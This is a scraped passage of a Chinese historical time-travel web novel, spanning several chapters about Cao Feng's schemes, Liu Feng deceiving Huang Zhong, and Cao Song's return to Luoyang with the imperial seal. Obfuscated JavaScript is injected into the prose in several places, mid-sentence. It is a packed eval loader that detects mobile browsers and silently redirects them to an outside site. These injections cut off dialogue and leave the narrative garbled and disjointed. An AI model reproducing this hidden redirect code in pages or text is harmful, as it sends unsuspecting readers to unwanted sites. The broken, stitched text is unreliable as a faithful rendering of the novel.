“凭什么?”孙尚香不满地皱起眉头,“在建业时就被关在府里不得自由,来了这里还要被软禁?” 凌统的表情变得异常严肃:“大小姐,这里的城防可不是建邺城能比的。公子治下法度森严,治安极好。你一个生面孔在城里乱逛,很容易被当成奸细抓起来。” “如今孙权和公子是敌人。就凭你孙家大小姐的身份,若是被抓了,我都救不了你。” 孙尚香不以为然地皱了皱鼻子:“你不是江夏太守吗?难道这点权力都没有?” “除了我之外,城里还有公子派来的一位军师。”凌统压低声音,“他是公子的心腹,在这里的权力与我相当,甚至在某些方面还要更大。” 说到这里,凌统的表情更加凝重了,“你最好别被他遇到,不然……” “不然怎样?”孙尚香拍了拍腰间的古锭刀,不屑地说道。 “军师不都是些手无缚鸡之力的文官吗?难道他有公瑾哥哥那样的武艺?” 第124章 刘备破防:原来是曹风挖走了我的子龙! 一提到那个戴面具的军师,凌统就不由自主地打了个寒颤。 每次靠近那个人,总有种被毒蛇盯上的危险感觉,浑身上下每一个毛孔都透着不自在。 而且他曾亲眼目睹面具军师审讯一个敌军探子。 不打也不骂,全是用各种稀奇古怪的毒药。 那些装在精致小瓶里的毒物,有的能让人的皮肤一寸寸溃烂,有的会让人痛痒难忍却无法抓挠,还有的会让人产生可怕的幻觉。那手段…… 简直让人求生不得求死不能。 那些探子最后崩溃求饶的样子,至今还偶尔浮现在凌统的噩梦中。 凌统使劲摇摇头,仿佛要把这些可怕的回忆甩出脑中。 “在公子回信前,你最好永远别遇到他。”凌统郑重对孙尚香说道。 他声音里带着明显的忌惮,“你武艺虽好,但还没近身就会被他毒翻。” “况且他身边时刻都有公子派来的护卫,都是些不要命的家伙,据说都是从死人堆里爬出来的。” 与此同时,距离凌统府邸不远处的一座幽静宅院内。 李儒正坐在昏暗的书房里。 房间里弥漫着淡淡的药草味,四周的书架上摆满了各种瓶瓶罐罐,里面装着五颜六色的粉末和液体。 他缓缓掀开面具,露出一张苍白消瘦的脸,用力打了个喷嚏。 面具后的眼睛闪烁着阴冷的光芒,他自言自语道:“贾文和,你又在背后嘀咕我。看来是上次给你的教训还不够,又欠毒了是吧?” 无论是谁在背后议论自己,李儒都会下意识地认为是贾诩干的。 这两个人就像天生的对头。早在董卓麾下时,他们从第一次见面就互相看不顺眼。 如今要不是有曹风在中间调和压制,这两个老毒物估计早就开始互相算计,用尽各种阴毒手段置对方于死地了。 这时,屋外响起一个恭敬而谨慎的声音。 “大人,公子从洛阳送来了密信。请军师看过信后,立刻回信。” 声音的主人显然知道这位军师的脾气和手段,刻意保持着安全的距离。 李儒心头一沉。 洛阳距离此地数百里,公子却派人快马加鞭送来密信,还要求立刻回复。 看来是出了什么了不得的大事。 李儒放下手中把玩的瓷瓶,沉声道:“送进来吧。” 门外的人只是将房门推开,谨慎地没有踏入房间。 他躬身低头,双手将一封密封的书信高高托起。 房间阴暗的角落里无声地走出一个全身黑衣的护卫。他担心有人假扮曹风派来的信使,暗中谋害李儒。 护卫正要按惯例检查信件,却被李儒抬手制止。 “不必查了。”李儒笑着道,声音透过面具显得格外阴森,“这世上还没有人能毒到我。” 在自己专业领域里,李儒就是这么绝对自信。 护卫不敢违抗,恭敬地递上信件,然后躬身退下,重新隐入黑暗之中。 李儒接过信件,仔细阅读起来。 片刻后,他亲手将信件投入面前的火盆中,看着信件在火焰中化为灰烬。 屋内没有点灯,只有火盆里跳动的火焰提供着微弱的光亮。 李儒的手指轻轻敲击着案几,发出有节奏的声响。 阴冷的声音从面具后缓缓传出:“驱虎吞狼?荀彧啊,荀彧,你倒是想得美。” 他冷笑着,声音里带着几分讥讽,“真以为这种小把戏能瞒得过我吗?” 李儒借着火光,在一块上好的布帛上写下四个大字。 焚烬襄阳! 只要襄阳变成焦土,孙权和刘备都不会再眼馋这块战略要地。 而且,这片荒地也可以作为完美的隔离区,让曹风的上庸和新野两座城与孙刘的地盘彻底分割开。 这样,荀彧精心设计的计谋就彻底废掉了。 但沉思片刻后,他又摇了摇头。 当年火烧洛阳的惨状至今历历在目,那些在火海中惨叫的百姓,那些被浓烟熏黑的城墙,那些化为焦炭的尸体…… 这些记忆,还有当年在天水城曹风对他的警告,让李儒有些犹豫。 看着跳动的火焰,他思索良久。 最后,他重新拟定了一个计策。 李儒唤来信使,将写好的密信郑重交付:“速将此信送回洛阳,务必亲手交到公子手中,不得有任何闪失。” 信使领命而去后,李儒起身推开房门,仰头看着天上明月。 他想了想,决定亲自去一趟凌统的府邸。 当前局势下,必须加快孙权攻打合肥的进程,这样才能为曹风分担一些压力,打乱曹操那边的部署。 与此同时。 在刘备的府邸中,由于曹操突然昏迷,刘备阵营的众人眼前的天幕也消失不见了。 大厅里顿时议论纷纷,众人脸上都带着困惑表情。 张飞扯着大嗓门喊道:“这怎么没了?还没看够呢!” “我倒要瞧瞧,曹风那小子还撬了哪些人。该不会连大哥和孙权的手下都被他挖走了吧?” 说着,他扭头瞥向关羽。 关羽正捋着长须,手上动作忽然一滞。 曹风有没有挖到人,他不清楚。可这小子的确挖走了他的刀法。 刘备面色不太好看,因为张飞无意中说中了要害。 他手中紧紧攥着刚刚看过的情报,指节都因为用力而发白。 情报中明确提到,赵云出现在了曹风麾下。 更让他震惊的是,徐庶也投靠了曹风。 双倍的‘抛弃’让刘备在愤怒之余又充满好奇。 曹风到底是怎么挖了他这个号称“三国第一魅魔”的人的墙角的? 要知道,他刘备向来以善于笼络人心著称啊! 这些都是前尘往事,想要知道其中缘由,本来只能通过天幕了解。但现在天幕突然消失。 刘备也只能将这件事暂时放下。他现在全部心思会用在如何劝降黄忠。 天幕消失,众人暂时散会。 刘封正好借着这个机会准备开溜。 按照天幕上的时间线,他马上就要暴露了。即便刘备不杀他,关羽和诸葛亮也会想尽办法弄死他。 就在刘封回到自己府邸时,他的府院管事邓伯突然将他拦住。 这个管事是刘封从本家带来的,是个哑巴。 刘封对他十分信任,平日里也很尊重。 “邓伯,有何事?” 邓伯从袖中取出一封密封的信函,双手递给刘封,用沙哑的声音说道:“公子,给,您的。特意,交代,要,您亲启。” 很久没有说过话,他的声音听起来很不自然。 “哦。”有些醉酒的刘封接过信,随口嘀咕道:“哪个公子?是孙乾的儿子吗?” 等等…… 好像哪里不太对。 刘封突然瞪大眼睛,酒意瞬间去了一大半,震惊地指着邓伯:“你……你竟然会说话!” 邓伯拱手笑道,脸上的皱纹舒展开来:“在下是曹风公子手下的魍。” 邓伯说话时有些结巴,不太自然。他每个字都说得特别慢,像是在回忆该如何组织语言,又像是刚学会说话不久。 第125章 劝说黄忠?刘魅魔和他的水都失灵了 刘封站在庭院里,脑袋嗡嗡作响。 刘封难以置信,那个与他朝夕相处十余年,一直默默照顾他起居的邓伯…… 竟然也是曹风安插在他身边的人! 并且这十年来,邓伯是怎么做到从不开口说话的? 邓伯的这份隐忍,既让人敬佩,又让人害怕。 从邓伯的描述来看,他只是曹风手下一个叫【魍】的探子组织里的小角色。 刘封意识到自己还是远远低估了曹风这个人。 虽然之前已经觉得曹风强得离谱,但现在看来,曹风的布局之深远、手段之高明,完全超出了他的想象。 刘封拆开那封邓伯递给他的密信。 当他看清信中的内容时,眼睛瞪得更大了。 曹风居然要在刘备和诸葛亮眼皮子底下,把黄忠这个大活人“转移”到他自己的地盘! 信中开头说,要刘封在刘备那里进言,建议由刘封和黄忠共同带兵攻取上庸。 “这怎么可能?”刘封喃喃自语。 先不说刘备能否同意这个建议,单说让那个倔强的老将黄忠领兵为刘备打仗就不现实。 这些天来,刘备麾下那么多能言善辩之士去劝说黄忠,可这老家伙又臭又硬,根本不正眼瞧他们。 听说刘备明日要亲自登门拜访。 但能否成功还是未知数。 最让刘封震惊的是信中接下来的内容。 曹风竟然断言,只要刘封趁别人不注意的时候,对黄忠说几句他交代的话,就能让这位老将军同意为刘备领兵,征讨上庸。 这事儿要是别人说的,刘封绝对会嗤之以鼻,觉得简直是天方夜谭。 但对方是那个总能创造奇迹的曹风,刘封犹豫再三,决定还是试一试。 第二天清晨。 刘封跟随刘备一行人来到黄忠府邸。 只见朱红色的大门紧闭,门前挂着一个醒目的木牌,上面用黑墨写着“闭门谢客”四个大字。 张飞的暴脾气立刻就上来了,他撸起袖子,骂骂咧咧地就要去砸门。 “这老匹夫好大的架子!大哥亲自来访,居然敢闭门不见!” 刘备赶紧一把拉住张飞的手臂:“三弟,不可无礼!” 张飞虽然停下了动作,但还是气哼哼地说:“我这不是怕大哥心心念念的''翅膀''飞了吗?” 原来之前刘备曾说过“得黄忠如虎添翼”的话,张飞一直记在心里,此刻更是气愤。 刘备无奈地摇头苦笑,只能好言安抚这个莽撞的三弟。 站在一旁的关羽见状,一把将张飞拉到身边,“三弟,休要胡闹!” 张飞这才不情不愿地退到一旁,但还是忍不住瞪了大门一眼,嘟囔道:“哼!糟老头子,还挺能摆谱。” 刘备将目光投向诸葛亮。 只见诸葛亮轻摇羽扇,微笑着指了指大门:“主公,还请亲自叩门。” 刘备点点头,整理了一下衣冠,上前轻轻叩响门环,同时朗声说道。 “在下乃汉室宗亲,中山靖王刘胜之后,汉景帝阁下玄孙。姓刘名备,字玄德,特来拜访黄老将军。” 过了好一会儿,大门才缓缓打开一条缝。 一个面色苍白、身形消瘦的少年探出头来,警惕地打量着众人。 他勉强行了一礼:“黄忠之子黄叙,见过刘皇叔。” 虽然礼数周到,但少年脸上明显带着不情愿的神色。 黄叙在心里暗暗嘀咕:“直接说自己是刘备不就好了。弄那么一长串的名头,在这儿唬谁呢?” 诸葛亮敏锐地察觉到了气氛的尴尬,立即上前几步,与黄叙亲切交谈起来。 在诸葛亮的劝说下,黄叙这才勉强将众人引入府内。 穿过一条幽静的竹林小径,众人来到后院。 只见黄忠正仰面躺在一块平整的石桌上,脸上盖着一块粗布。 比起从前魁梧的身形,现在的他明显消瘦了许多,白发也多了不少。 刘备上前拱手行礼,声音诚恳:“汉升老将军,年近六旬犹能开三石之弓,真乃当世虎将!” “备素闻将军忠勇无双,昔日为韩玄守长沙,百姓皆颂其德。” “今汉室倾颓,奸雄四起,将军何不与备共扶社稷,上报国家,下安黎民?” 刘备这番话说得情真意切,可黄忠依旧纹丝不动,仿佛根本没听见一样。 诸葛亮见状,轻摇羽扇上前一步:“曹操挟天子以令诸侯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄叙犹豫片刻,最终还是侧身让刘封进了门。 第126章 刘封的内心戏:风兄这计划会**的啊! 刘封心中忐忑着,再次回到黄府后院。 黄叙沉声道:“你可以说了。说完快些走。” 刘封谨慎地环顾四周,确认院中只有他们三人后,他才压低声音道。 “黄老将军,多年不见,可还识得谯县曹脩否?” 黄忠听到这话,浑身一震,如遭雷击。他猛地直起身子,把旁边的刘封和黄叙都吓了一跳。 黄忠起身,用布满老茧的大手一把扣住刘封的肩膀,力道大得几乎要捏碎骨头。 刘封疼得龇牙咧嘴,感觉肩膀都要脱臼了。 “你……你有曹脩公子的消息?” 黄忠的声音因为激动而颤抖。他布满皱纹的脸上写满期待,浑浊的老眼中闪过一丝光亮。 按照曹风信中交代的计策,刘封低下头,装出一副悲痛欲绝的样子:“曹脩公子已经……已经死于曹风之手。” 他故意停顿了一下,回想起刘备装哭的样子,声音哽咽,“公子临终前特意嘱咐,请您一定要为他报仇雪恨!” “什么?!”黄忠踉跄着后退两步,撞在石桌上发出闷响! “不可能!公子武艺超群,怎会死在曹风那个手无缚鸡之力的纨绔子弟手上?” “唉!”刘封长叹一声,装模作样地用袖子擦了擦并不存在的眼泪。 “具体情况我也不甚清楚。只听说是在一次宴会上……被下了毒……”他偷瞄着黄忠的反应,继续道,“公子临终前,请老将军为他报仇。” 黄忠恶狠狠道:“我誓杀曹风贼子!” 刘封沉声道:“老将军若想为曹脩公子报仇,眼下唯有先投靠我父亲刘玄德。这样您才能统领兵马攻打曹风,为公子报仇雪恨啊!” 黄忠渐渐冷静下来,但眼中的怒火仍未熄灭。 他用锐利的目光上下打量着刘封,沉声道:“这该不会是你父亲刘备的阴谋吧?为了让我归顺,特意编造公子被害的谎言?” 刘封摊开双手,做出一副无可奈何的样子:“公子临终前的话已带到,信不信由您。老将军大可自己查证。” “公子对忠有大恩啊!”黄忠突然激动起来,一把拉过身旁沉默不语的黄叙。年轻人面色苍白,身形消瘦,显然久病初愈。 “若非公子当年出手相救,寻来神医华佗,我这孩儿早已病逝。我们黄家……也会因此绝后啊!” 黄叙被父亲拽得一个趔趄,轻咳了几声。黄忠这才意识到自己用力过猛,连忙松开手。 “前番为报答韩玄知遇之恩,我已经离开公子一次。没想到却是最后一次见面。” 黄忠的声音突然变得哽咽,“公子若是尚在,我黄汉升绝不会再投效他人。可如今他……他……” 说到这里,黄忠突然死死盯住刘封,眼中杀意凛然。 他猛地拔出黄叙腰间的佩刀,寒光一闪,刀尖直指刘封咽喉。 “曹风竟敢谋害公子,此仇不共戴天!但若是你父子二人欺骗于我……”刀尖又向前递了半分,“我定先取你项上人头!再杀刘备!” 刘封感觉脖颈一凉,冷汗瞬间浸透内衫。 他强自镇定,喉结滚动了一下:“我怎敢欺瞒老将军。但我父亲与曹脩有旧怨,您借兵的时候,切不可与他提及曹脩之事。否则他绝不会借您兵马去报仇。” 见黄忠仍在犹豫,刘封赶紧补充道:"若老将军还是信不过我,年后开春,我可与您一同出兵,讨伐曹风!” “若我有半句虚言,老将军可以在阵前先斩我祭旗!” 刘封在心里暗暗叫苦:“风兄啊,风兄,你这帮我脱离刘备的计策虽妙,可黄忠这把大刀现在就架在我脖子上了。到时候谎言被拆穿,你可得想办法救我啊……” 与此同时,洛阳城门外。 曹风裹着厚厚的貂裘,带着家眷和文武官员,正在城门处列队等候。 寒风呼啸,卷起地上的积雪,打在众人脸上如同刀割。程昱站在曹风身侧,不时搓手呵气。 “这鬼天气,爷爷可别冻坏了身子。”曹风小声嘀咕,转头又对程昱道,“仲德,骗了黄忠老将军,我这心里还真有点过意不去。” 程昱闻言轻笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹婴没有立即接过玉镯,而是转头看向曹风,那双明亮的大眼睛里满是询问。 这个突如其来的曾祖父让她既感到亲切又有些陌生。在这世上,曹婴唯一无条件信任的人,只有曹风。每次她犹豫不决,都会询问曹风。 曹嵩见状立刻板起脸,故意用认真的语气说道:“暖暖,不用管你三叔这个小财迷。曾祖父给你的东西,他要是敢说个不字……” 说着,曹嵩举起手中的拐杖,作势要打曹风。 曹风连忙摆手,脸上堆满讨好的笑容:“不敢不敢,爷爷您尽管给。”他边说边往后退了半步,生怕那根拐杖真的落在身上。 总挨揍的曹德在一旁看得眼红。整个曹家,能躲过老爷子拐杖的,除了曹操,也就只有曹风了。 曹嵩布满皱纹的脸上绽放出得意的笑容。他转身指着身后那支车队。车队里的马车足足有三十多辆,每辆都装得满满当当,车轮在雪地上压出深深的痕迹。 曹嵩声音洪亮地说道:“我趁着阿瞒那个不孝子昏迷不醒,把他的宝贝库都搬空啦!” “本来打算留给你三叔曹风的。”曹嵩故意拖长声调,瞥了眼站在一旁的曹风,“可现在我改主意了,这些都归暖暖喽!” 他说着还冲曹婴眨了眨眼睛,活像个老顽童。 曹婴眼睛一亮,她踮起脚尖望向那些满载的马车。 她知道三叔最喜欢这些宝贝了,每次得到新的珍藏都会高兴好几天。 接过手镯后,曹婴毫不犹豫地直接递给曹风:“三叔,给,这手镯和那些宝贝,现在都是咱俩的了。” 曹嵩目瞪口呆,“好哇!你们两个小东西!” 他佯装生气地跺了跺脚,但眼角的笑意却出卖了他真实的心情。 曹风笑嘻嘻地接过手镯,小心翼翼地执起曹婴纤细的手腕,将玉镯给她戴上:“暖暖乖,这些都是曾祖父疼你才给的,三叔不要。” 他故意长叹一声,“唉,老头子有了曾孙女儿,就把我这个孙子忘到九霄云外喽。” 站在一旁的曹德忍不住跟着小声嘀咕:“可不是嘛,当初有了你这个孙子,就把我这个儿子……” “哎哟!” 曹德话还没说完,曹嵩的拐杖已经‘啪''地一声敲在他腿上。这一下不算太重,但也疼得曹德龇牙咧嘴。 逗得一旁的曹婴捂嘴直笑。 曹婴笑得眼睛弯成了月牙儿,银铃般的笑声在风雪中格外清脆悦耳。 曹嵩看着眼前这一幕,心中涌起一股暖流。他再次仔细端详着曹婴,自己的这个曾孙女儿,怎么看都看不够。 尤其是那双灵动的大眼睛,和已经故去的长孙曹昂简直一模一样。 “唉!”曹嵩不由自主地发出一声叹息,这声叹息随着风雪卷上天际。他对那个间接害死曹昂的儿子曹操,又多了几分怨怒。 “眼瞧着就过年了。”曹嵩低声喃喃自语,“若是昂儿还活着,该多好。那才叫真正的团圆……” 这时,以程昱为首的文武官员整齐列队,齐声行礼。 “恭迎曹太公、孙太公!” 声音洪亮有力,在空旷的城门外回荡。 曹嵩淡定地捋着花白的胡须点头,心中暗想:“老头子我看人真准。我这孙儿,确实成气候了!几年不见,就这么多文臣武将了。” 他注意到这些官员里有几张熟悉的面孔,其中最眼熟的是程昱。 当年吕布偷袭兖州时,正是程昱保住了曹嵩的性命和财产。没想到几年过去,这家伙已经成了曹风手下头号文官。 而站在另一侧的孙立已经激动得眼角闪过泪花。 这个历经沧桑的老宦官没想到曹风的文武百官会如此郑重地迎接他这个阉人。 要知道,就算当年权倾朝野的十常侍,也没享受过这样的礼遇。他清楚地知道,这些人都是冲着曹风的面子才会这么做,尤其是那些平日里对阉人十分厌烦的文官们。 这也更加说明,曹风对自己的尊重有多深。 这个孙儿,他孙立没有白疼。 最后,在曹德、曹风和曹婴三代人的簇拥下,曹嵩拄着拐杖,志得意满地走向洛阳城门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674102|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风雪渐渐停歇,一缕金色的阳光穿透厚重的云层,恰好照在城门上“洛阳”两个鎏金大字上,让它们熠熠生辉。 这光芒也映照在曹嵩的脸上,让他布满皱纹的面容显得格外精神。 曹嵩仰头大笑,声音洪亮:“洛阳,我曹嵩风风光光地回来了!刘宏,你赌输了!我曹家从此,定会大兴!” 进城后,在迎接队伍中,曹嵩注意到有两个人的举止显得格外扭捏,与其他人格格不入。 他早就发现了这两个人,只是因为年事已高,眼睛花了,一直没看清他们的面容。 待距离拉近,曹嵩眯起眼睛仔细辨认…… 这才惊讶地发现,原来是他在邺城时听说已经战死的夏侯渊和曹彰。 夏侯渊穿着一身朴素的棉布衣,完全不见往日的武将风采;而曹彰则低着头,刻意避开众人的目光。 曹嵩二话不说,举起拐杖就打在夏侯渊身上,后者也不闪躲,只是低着头,闷声不吭。 “哑巴了?!”曹嵩冷哼一声,声音中带着几分怒意。 “你爹的脑袋可不像你这么迂腐!” 夏侯渊这才恭敬地给曹嵩行礼,“见过叔父。” 曹嵩本姓夏侯,后被宦官曹腾收养而改姓曹。 在夏侯家族里,夏侯渊的父亲与曹嵩关系最为要好。两人年轻时,同在官场相互扶持。 “我知道你念着与阿瞒的情义。”曹嵩警告道,“但你别做为难我孙儿的事情。他们爷俩的事儿,我都不参与,你也不准!” 曹嵩顿了顿,拐杖重重地敲在地上,“不然我就替你爹教训你。” “谨遵叔父教诲。”夏侯渊低着头回答。 他小时候敢和自己的父亲以及其他长辈耍倔强,但唯独不敢与曹嵩对着干。 一方面是因为曹嵩在夏侯家的威严无人能及。 另一方面,虽然曹嵩以吝啬著称,但他对夏侯家的这些小辈,却是格外照顾。 当年他们闯祸时,最后都是请曹嵩出面帮忙摆平的。这些往事让夏侯渊对曹嵩既敬重又感激。 第128章 曹嵩:夏侯渊,去蜀地把宝贝给我抢回来! 曹嵩上下打量着夏侯渊的穿着,皱眉问道:“怎么着?你这是解甲归田了?” 他注意到夏侯渊腰间空空如也,连佩剑都没有。 夏侯渊硬着头皮回答:“无心再战,只想陪着暖暖。” 他说这话时,目光不自觉地飘向站在曹风身边的曹婴,眼中流露出宠溺晚辈的神色。 “哼!”曹嵩怒哼一声,一把将曹婴搂到自己身边。 曹嵩语气像是在宣誓**,“这是我的曾孙女儿,我的宝贝。以后只能陪着我。你们谁也别想夺走。” 曹嵩说着还故意瞪了夏侯渊一眼,然后又将目光转向曹风,等待他的表态。 曹风连忙点头,脸上堆满笑容:“全凭爷爷做主。” 之后的战争会越来越危险,曹婴年纪还小,曹风没有十足把握能护她周全,所以不打算再把她带在身边了。 将她留在凉州才是最安全的,同时也能陪陪曹嵩。 曹嵩这才满意地点点头,脸上的皱纹舒展开来。他扭头对身旁的孙立说道:“蜀地的刘璋是西汉鲁恭王之后,他们家一直霸占着益州。” “我听刘宏生前提过,蜀地刘家有不少稀世珍宝。” “老弟,你之前一直陪着刘宏,这事儿是真的吗?” “确有此事。”孙立呵呵笑道,眼睛眯成了一条缝。 随后,他竟然把蜀地刘家的稀世珍宝如数家珍般一一道来。 从夜明珠到青铜器,从玉璧到金缕玉衣。 说得头头是道,就像在报菜名一样。 曹嵩听得眼中精光大盛,不时发出赞叹之声。 等孙立说完,他立刻转向夏侯渊,用不容置疑的语气命令道:“我让风儿借你一些兵马,你去把刘璋给我灭了!” “把他那些宝贝,都给夺来!”曹嵩说着伸出左手,五指缓缓收拢,仿佛要把刘璋的金山银山都攥进掌心。 “这……”夏侯渊面露难色,苦笑道,“叔父,我真是无心再战,况且……” “嗯?!”曹嵩怒目而视,手中的拐杖又举了起来。 夏侯渊喉咙鼓动了一下,把接下来的话硬生生又咽了回去。他太清楚曹嵩的脾气了,这时候再推辞只会挨揍。 “又哑巴了?”曹嵩举着拐杖,作势又要打下去。 夏侯渊连忙恭敬地说道:“叔父放心,年后我就去把刘璋灭了,把他的宝贝都给您抢回来。” 他的语气中带着几分无奈,但更多的是对长辈的顺从。 曹风正发愁怎么说服夏侯渊帮自己打仗,尤其是益州。 没想到曹嵩一来,三言两语就把这事搞定了。果然是家有一老,如有一宝! 曹嵩见夏侯渊答应了,这才满意地点点头。然后将目光转向一直沉默不语的曹彰。 曹嵩眼睛虽然花了,但看东西却十分仔细。他立刻发现了异常——曹彰的脖颈处有一道明显的绳子勒痕,手腕处也有几道伤疤。 见多识广的曹嵩立刻明白了是怎么回事。他的脸色瞬间阴沉下来,声音也变得格外严厉:“跪下!” 曹彰“噗通”一声跪在了冰冷的雪地上,积雪被他压得咯吱作响。 “黄须儿给祖父请安。”他的声音有些发抖,不知是因为寒冷还是紧张。 曹家和夏侯家的二代子弟中,只有曹风能让曹嵩露出笑脸。对其他人,曹嵩向来威严得很。谁要是惹他不高兴,回家肯定挨揍。所以大家都怕他。 曹嵩居高临下地教训道:“混账小子!我的长孙儿已经没了,你还想让我白发送黑发人吗?” 提到曹昂,他的声音中带着难以掩饰的痛心,眼眶也有些发红。 “孙儿不敢。”曹彰苦着脸回答,“只是我不能背叛父亲啊!怎会投降敌人!” “有骨气是好事儿……”曹嵩的语气稍微缓和了一些,他指着曹风说道,“但哪来的敌人!他是你三哥!” 说完,他似乎懒得再多费口舌,直接命令道:“你也滚去蜀地,给我抢宝贝去!” 然后头也不回地继续向前走。 回到洛阳府曹风的宅邸后,曹嵩迫不及待地抓住曹风的手,像个孩子似的急切地说道:“这里没有外人。好孙儿,有啥稀奇的宝贝,快拿出来给祖父瞧瞧。” 曹风神秘地笑了笑:“还真有一件。就是您一直惦记着的那件。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674103|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “一件哪能够。”曹嵩撇撇嘴,突然想到了什么,惊喜地瞪大眼睛,“不会是那件吧?” 他的声音因为兴奋而提高了八度。 曹风笑而不答,转身走向内室,不一会儿小心翼翼地捧出一个黄金镶边的锦缎盒子。 曹嵩使劲嗅了嗅鼻子,顿时两眼放光:“嗯!味儿对!里面绝对是好宝贝!” 他搓着双手,迫不及待地凑上前去看。 当木盒打开的那一刻,一块玉玺静静地躺在其中。 烛光下,泛着温润的光泽。玉玺上雕刻着五条栩栩如生的盘龙。 曹嵩激动得双手颤抖,小心翼翼地捧起玉玺,“还真是它!” 曹嵩的声音激动道:“我的好孙儿,当年答应爷爷的事儿,你还真办到了。” 曹风转向一旁满脸震惊的孙立,恭敬道:“孙爷爷,您也来瞧瞧。” “这玉玺是我从袁术那里得到的。您帮我看看这传国玉玺是真是假。我没见过真品,实在难以辨别。” 孙立作为大汉三朝太监总管,常伴皇帝左右。在这里的所有人中,确实只有他最有可能见过真正的玉玺。 孙立深吸一口气,屏住呼吸,凑近曹嵩。 他死死盯着对方手中那块传国玉玺——这方寸之物,曾让无数英雄豪杰为之丧命,如今再次出现在他眼前。 “材质对上了。”孙立低声说道,手指轻轻点了点玉玺的表面,“这是上等的蓝田玉,温润如脂,色泽内敛。” 他的目光移到玉玺上部:“玺钮的五条盘龙也没差别,每条龙的姿态都栩栩如生,龙鳞的雕刻工艺是秦代宫廷独有的技法。” 接着,他仔细辨认底部的文字:“‘受命于天,既寿永昌'',确实是秦代标准的小篆,笔画转折处的处理方式完全符合。有几次刘宏喝醉,我曾近距离见过它。” 最后,孙立全部的注意力都集中在玉玺的一个角上,那里有明显的黄金修补痕迹。 “就是它了!当年王莽篡汉时,太后怒掷玉玺,摔缺一角,后来用黄金补上的。” “这个黄金角的特征独一无二,绝对假不了!” 第129章 郝昭:我怎么感觉自己成了弃子? 曹嵩双手捧着传国玉玺,仔细端详了许久。神色复杂地叹了口气,随后小心翼翼地将它放回锦缎盒中。 曹嵩合上锦盒,神色凝重地摇头:“风儿,在没彻底斩断刘家江山气运之前,切莫将它常带身边。” 曹嵩枯瘦的手指点了点锦盒,“这上面还附着独属于刘家的龙气,若是反噬起来,是没有好下场的。” 曹风认真地点了点头。 他想起孙坚和袁术都曾接触过传国玉玺,最后都没落得好下场。 孙坚在洛阳井中得到这方玉玺后,不出半年,便战死岘山;袁术称帝时捧着玉玺,最终落得众叛亲离,渴求蜜水不得,呕血斗余而亡。 孙立眯着眼睛插话道:“我倒觉得这玉玺与公子有缘,伤不到他。” “之前天幕上播过公子出生时的景象。韦夫人当年难产,直到有条五爪金龙出现在产房上空。那金龙低头行礼,它嘴里衔着的龙珠飞进产房后,公子才出生。” 关于天幕的事,曹风早从程昱那里听说过,但程昱没提过这个细节。 现在他终于明白自己为何会穿越到这个时代。 前世他为保护一颗龙珠受伤,鲜血染红龙珠后就昏迷不醒,再睁眼已身在东汉末年。 不过穿越这事,他绝不会告诉任何人。 想到这里,曹风拍拍传国玉玺笑道:“难道我是龙珠转世?” “不止如此……”孙立正色道,“自古金龙叩首就是天命所归的征兆!小皇帝看到这段影像后,差点气疯。” 曹风冷笑:“他不能疯,我娘的仇还没报。最迟明年,我就要亲手向小皇帝讨回血债。” …… 平安喜乐的一个除夕夜,过去了。 祭奠完韦婉和曹昂后,曹风再次率军离开凉州,征讨曹操。 天下风起云涌! 天水城门下,韦康一手按着凉刀,一手拽住曹风胳膊。 “风儿,舅舅虽然年过半百……”他拍了拍胸膛,“但还能再……你那句话怎么说来着?” 曹婴在旁边提醒:“还能再燃一把!” “对对对!”韦康揉揉曹婴的小脑袋,“虽然老了,但还能再拼一次。让舅舅跟你一起出征吧。” “小妹的仇还没报完,我这个当哥哥的躲在凉州,心里过不去。将来**都没脸见她。” 曹风安慰道:“舅舅,娘亲在天之灵不会怪您。您在凉州守着她也好。再说凉州是咱们根基,交给您我才放心。” 韦康这才作罢。 甄宓将平安符塞进曹风手里,忧心忡忡:“你现在是三军统帅,又是家里顶梁柱,别再冒险了。不许你亲自上阵杀敌。” “知道了。”曹风捏捏甄宓倾国倾城的脸蛋,随后便将她的话忘到了脑后。 甄宓又对张嫣和马云禄说:“我不会武艺,不能随夫君上阵。两位妹妹要多加小心。” 张嫣抱着无名剑微微点头,周身仙气越发明显。 马云禄露出酒窝笑道:“甄姐姐放心,我一定保护好夫君。” 甄宓轻点她额头:“就数你最会陪他胡闹。” 她又嘱咐杜芷:“姐姐,照顾好夫君起居,别让他总熬夜处理军务。” 杜芷为难地低头:“我……我……” 甄宓叹气:“罢了,这个家也就我能劝住他。” 